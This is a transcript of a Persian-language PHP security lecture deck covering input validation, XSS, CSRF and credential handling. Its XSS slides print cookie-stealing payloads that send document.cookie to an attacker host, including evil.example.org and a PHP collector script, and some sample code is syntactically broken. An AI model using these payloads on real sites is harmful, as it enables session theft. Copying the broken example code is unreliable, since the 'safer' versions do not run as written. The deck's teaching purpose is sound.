security in php - fumblog.um.ac.irfumblog.um.ac.ir/gallery/256/phpsecurityppt.pdf · .دینکن...

Post on 19-Jul-2020

7 Views

Category:

Documents

0 Downloads

Preview:

Click to see full reader

TRANSCRIPT

Security in Php

Mansooreh Jalalyazdi

1

Input Validation

.اطمینان از اینکه ورودی معتبر است

این کنترل باjavascript می تواند صورت گیرد چون سریعتر است و در

.صورت می گیرد clientسطح

این کنترل باید باphp نیز صورت گیرد.

کنترل هایjavascript به آسانی می توانند نادیده انگاشته شوند.

برای کنترل ورودی می توان ازBlack list یاWhite list استفاده کرد.

Black list ممکن است کامل نباشد و برخی حاالت در نظر گرفته نشود.

White list در صورت امکان استفاده، بهتر است.

2

Input Validation چه چیزیinput در نظر گرفته می شود؟

داده های فرم

پارامترهایquery

پارامترهایpost

Cookieها

داده های موجود در پایگاه داده که توسط کاربر می تواند تغییر کند.

Log ها که شامل ورودی های کاربر هم می باشد.

...

چه چیزی باید اعتبارسنجی شود؟ همه چیز

3

Input Validation – White List

:یک مثال ساده

<?php

$clean = array();

switch ($_POST['color'])

{

case 'red':

case 'green':

case 'blue':

$clean['color'] = $_POST['color'];

break;

{

?>

4

Filtering – White List

مثال برای ایمیل:<?php

$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email']))

{

$clean['email'] = $_POST['email'];

{

?>

5

کنترل عدد بودن یک متغیر

:یک عدد صحیح است POST[‘num’]_$کنترل اینکه متغیر

<?php

$clean = array();

if ($_POST['num'] == strval(intval($_POST['num'])))

}

$clean['num'] = $_POST['num'];

{

?>

.استفاده کنید floatvalبرای کنترل اینکه یک متغیر عدد اعشاری است از تابع

6

مقداردهی اولیه به متغیرها

وقتی اجرای یک صفحهphp آغاز می شود که

کلHTTP REQUEST دریافت شده باشد

هیچ فرصت دیگری برای فرستادن داده وجود ندارد

به مقداردهی اولیه متغیرها توسط خودphp اکتفا نکنید.

متغیرها را مقداردهی اولیه کنید

اجازه ندهید توسط افراد بدخواه از طریق$_GET یا از روش های دیگر مقدار دهی اولیه شوند.

7

php.iniتنظیمات

allow_url_include = Off

open_basedir = /var/www/htdocs/files

8

Error Reporting

Error Reporting = E_ALL : تمام خطاهای برنامه همواره مشخص

.شود

display_errors=On :در زمان تولید برنامه

display_errors=Off :در زمان اجرای واقعی برنامه

log_errors=On :در زمان اجرای واقعی برنامه

مقدارerror_log و مجوزهایApache برای نوشتن در آن را بررسی

.کنید

register_globals

register_globals = off

مقداری که باید از طریق یک فرم و به شکلPOST

.فرستاده شود GETفرستاده شود به راحتی می تواند با

10

Spoofed Form Submissions

:http://example.org/form.htmlدر آدرس فرضی htmlیک فرم ساده

<form action="/process.php" method="POST">

<select name="color">

<option value="red">red</option>

<option value="green">green</option>

<option value="blue">blue</option>

</select>

<input type="submit" />

</form>

11

Spoofed Form Submissions

فرم زیر با توجه به فرم قبل، توسط فرد بدخواه به صورت زیر به راحتی نوشته

:شود

<form action=“http://example.org/process.php" method="POST">

<input type=“text” name=“color”>

<input type="submit" />

</form>

می تواند هر مقداری داشته باشد Colorاکنون

12

(۲۰۱۱)روش های مختلف حمله

13

Cross Site Scripting (XSS)

منظور ازXSS روش های حمله ای است که از نقاط

نفوذپذیر در کد یک برنامه وب استفاده می کند تا محتوایی

بدخواهانه را از طریق یک کاربر بفرستد و داده هایی را

.از قربانی کسب کند

14

Cross Site Scripting (XSS)

نوعی از آسیب پذیری امنیتی کامپیوتر است که در برنامه

.های تحت وب پیدا می شود

این آسیب پذیری برای حمله کننده این امکان را فراهم می

webدر ) javascriptsمثال (کند که کدهای بدخواهانه

browser قربانی تزریق کند .

با استفاده از این کد بدخواهانه، حمله کننده می تواند داده

). مثال اطالعات کوکی ها(های قربانی را بدزدد

15

XSSتئوری حمله

16

XSS

17

Stored XSS Attack

18

XSS Example

<form>

<input type="text" name="message"><br />

<input type="submit">

</form>

<?php

if (isset($_GET['message']))

}

$message = $_GET[„message‟];

$fp = fopen('./messages.txt', 'a');

fwrite($fp, "$_GET['message']<br />");

fclose($fp);

{

readfile('./messages.txt');

?>19

XSS Example

<script>

document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie

</script>

20

XSS Example

مهکار گرامی،

در راستای ارتقای سطح خدمات و رضایتمندی کارکنان از سیستمهای یکپارچو سازمان، بر آن شدمی تا در قالب یک .نظرسنجی خمتصر از کارکنان، ضعفهای احتمالی سیستم را شناختو و در جهت رفع آهنا برآییم

در صورتی کو متایل دارید ما را از نظرات ارزمشند خود هبره مند سازید، لطفا بو سیستم وارد شده و در لینک زیر، بو :سواالت نظرسنجی پاسخ دىید

>http://www.mysite.com/error.php?message=survey+is+not+ready+yet.+<script>...</script

http://www.mysite.com/e%72%72%6f%72.php?message%3dsurvey...

21

XSS

فرض کنید در یک صفحه وب با متدGET مقدارid وname گرفته شده و این مقدار در

table ذخیره می شود.

&name=Ali123Http://saveChild.php?id=

می توانید آن را به این صورت فراخوانی کنید:

&name=Ali<script>alert(document.cookie)</script>123Http://saveChild.php?id=

با این کار این مقدار به جایname درtable نگهداری می شود.

اگر کاربری اطالعات این کودک را مشاهده کند، مقدارcookie وی اعالن می شود.

22

XSS

مقدارpassword می تواند به صورت زیر باشد:

1” onKeyPress="

if (window.event) {

var key = window.event.keyCode;

}

else {

var key = event.which;

}

if(key == 13){

document.login.submit();

{”23

XSS – Set a Cookie<html>

<script type="text/javascript">

cookie_name = "Counter_Cookie";

function doCookie() {

if(document.cookie)

index = document.cookie.indexOf(cookie_name);

else

index = -1;

if (index == -1)

document.cookie=cookie_name+"=1;";

else {

countbegin = (document.cookie.indexOf("=", index) + 1);

countend = document.cookie.indexOf(";", index);

if (countend == -1)

countend = document.cookie.length;

count = eval(document.cookie.substring(countbegin, countend)) + 1;

document.cookie=cookie_name+"="+count;

}

}

24

XSS – Set a Cookiefunction gettimes() {

if(document.cookie)

index = document.cookie.indexOf(cookie_name);

if (index != -1) {

countbegin = (document.cookie.indexOf("=", index) + 1);

countend = document.cookie.indexOf(";", index);

if (countend == -1)

countend = document.cookie.length;

count = document.cookie.substring(countbegin, countend);

if (count == 1)

return (count+" time");

else

return (count+" times");

}

return ("0 times");

}

// -->

</script>

<body onload="doCookie()">

<script language="javascript">

document.write("You have been to this page "+gettimes()+" before.");

</script>

25

XSS – Inject the malicious code

<body>

<form action="showCookie.php" method="post">

<textarea name="text" rows="10" cols="50">

<script>document.location='http://localhost/xss/my.php?dc='+document.cookie</script>

Leave a message for another user ...

</textarea>

<input type="submit" value="Test your input">

</form>

</body>

26

XSS – Run the Malicious code

<body>

<?php

echo $_POST['text'];

echo "<br>....";

?>

</body>

27

XSS – The Evil Script

<body>

<?php

$fp = fopen('./savedCookies.txt', 'a');

fwrite($fp, "{$_GET['dc']}<br />");

fclose($fp);

echo "<br />wrote in file".$_GET['dc'];

?>

</body>

28

XSSجلوگیری از

Input Validation

کمک گرفتن از توابعPhp

Stript_tags() : تمامtag هایhtml حذف می شوند و خیالمان راحت می شود.

htmlentities() : کدهایhtml یاjs فقط نشان داده می شوند نه اینکه اجرا شوند.

ایجادWhite List وBlack List

29

A Safer version of XSS Example

<form>

<input type="text" name="message"><br />

<input type="submit">

</form>

<?php

if (isset($_GET['message']))

}

$message = $_GET[„message‟];

$message = htmlentities($_GET[„message‟]);

$fp = fopen('./messages.txt', 'a');

fwrite($fp, $message<br />");

fclose($fp);

{

readfile('./messages.txt');

?> 30

Cross-Site Request Forgeries<?php

$token = md5(rand());

$token = md5(time());

$fp = fopen('./tokens.txt', 'a');

fwrite($fp, "$token\n");

fclose($fp);

?>

<form method="POST">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<input type="text" name="message"><br />

<input type="submit">

</form>

<?php

$tokens = file('./tokens.txt');

}if (in_array($_POST['token'], $tokens))

}if (isset($_POST['message']))

$message = htmlentities($_POST['message']);

$fp = fopen('./messages.txt', 'a');

fwrite($fp, "$message<br />");

fclose($fp);

}

{

readfile('./messages.txt');

?> 31

Cross-Site Request Forgeries<?php

session_start();

}if (isset($_POST[„message‟]))

}if (isset($_POST['message']) && $_POST[„token‟] == $_SESSION[„token‟])

$message = htmlentities($_POST['message']);

$fp = fopen('./messages.txt', 'a');

fwrite($fp, "$message<br />");

fclose($fp);

}

{

$token = md5(uniqid(rand(), true));

$_SESSION['token'] = $token;

?>

<form method="POST">

<input type="hidden" name="token" value="<?php echo $token; ?>" />

<input type="text" name="message"><br />

<input type="submit">

</form>

<?php

readfile('./messages.txt');

?>

32

Database Controls

معموال در برنامه های کار با پایگاه داده، در یک فایل

inc نام سرور، آدرس سرور، نام کاربری و کلمه عبور ،

.قرار می گیرد

33

Db.inc

<?php

$host = 'example.org';

$username = 'myuser';

$password = 'mypass';

$db = mysql_connect($host, $username, $password);

?>

Database Controls

فایلdb.inc مثال قبل را در زیرشاخه هایdocument_root قرار ندهید.

این فایلText محسوب می شود و ممکن است یک کاربر آن را درbrowser خود با

.آدرس آن مشاهده کند

اگر مجبور به این کار هستید، خطوط زیر را به فایلHttpd.conf اضافه کنید.

34

Httpd.conf

<Files ~ "\.inc$">

Order allow,deny

Deny from all

</Files>

توجه

حمالت ادامه داردSession Fixation ،Session Hijacking و.....

نکات امنیتی هنوز ادامه دارد.....

35

References

http://phpsec.org/projects/guide/1.html

http://www.acunetix.com/websitesecurity/cross-site-scripting.htm

Arash Shahkar Cources in Ferdowsi University – ITS Center

36

متشکرم

37

top related